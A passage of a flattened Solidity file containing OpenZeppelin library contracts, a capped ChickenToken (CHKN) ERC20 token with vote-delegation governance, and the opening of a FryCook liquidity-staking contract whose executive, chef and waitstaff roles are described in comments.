// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Capped.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/ChickenToken.sol
pragma solidity 0.6.12;
// ChickenToken with Governance. Capped at 580,000,000 supply.
contract ChickenToken is ERC20Capped, Ownable {
constructor() public ERC20("ChickenToken", "CHKN") ERC20Capped(580000000000000000000000000) { }
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (FryCook).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CHKN::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CHKN::delegateBySig: invalid nonce");
require(now <= expiry, "CHKN::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CHKN::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CHKNs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "CHKN::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts/FryCook.sol
pragma solidity 0.6.12;
// An interface for a future component of the CHKN system, allowing migration
// from one type of LP token to another. Migration moves liquidity from an exchange
// contract to another, e.g. for a swap version update. All users keep their
// staked liquidity and can deposit or withdraw the new type of token
// (kept in the same pool / pid) afterwards.
interface ICookMigrator {
// Perform LP token migration from UniswapV2 to ChickenFarm.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// ChickenFarm must mint EXACTLY the same amount of ChickenFarm LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// FryCook works the fryer. They make some good chicken!
//
// Note that there is an EXECUTIVE_ROLE and the executive(s) wields tremendous
// power. The deployer will have executive power until initial setup is complete,
// then renounce that direct power in favor of Timelocked control so the community
// can see incoming executive orders (including role changes). Eventually, this
// setup will be replaced with community governance by CHKN token holders.
//
// Executives determine who holds other roles and set contract references
// (e.g. for migration). The other roles are:
//
// Head Chef: Designs the menu (can add and update lp token pools)
// Sous Chef: Tweaks recipes (can update lp token pool allocation points)
// Waitstaff: Carries orders and payments (can deposit / withdraw on behalf of stakers)
//
// It makes sense for an executive (individual or community) to also operate as the
// head chef, but nothing but a well-tested and audited smart contract should EVER be assigned
// to waitstaff. Waitstaff have full access to all staked tokens.
contract FryCook is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CHKNs to distribute per block.
uint256 lastRewardBlock; // Last block number that CHKNs distribution occurs.
uint256 totalScore; // Total score of all investors.
uint256 accChickenPerScore; // Accumulated CHKNs per score, times 1e12. See below.
// early bird point rewards (larger share of CHKN mints w/in the pool)
uint256 earlyBirdMinShares;
uint256 earlyBirdExtra;
uint256 earlyBirdGraceEndBlock;
uint256 earlyBirdHalvingBlocks;
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 score; // The staked "score" based on LP tokens and early bird bonus
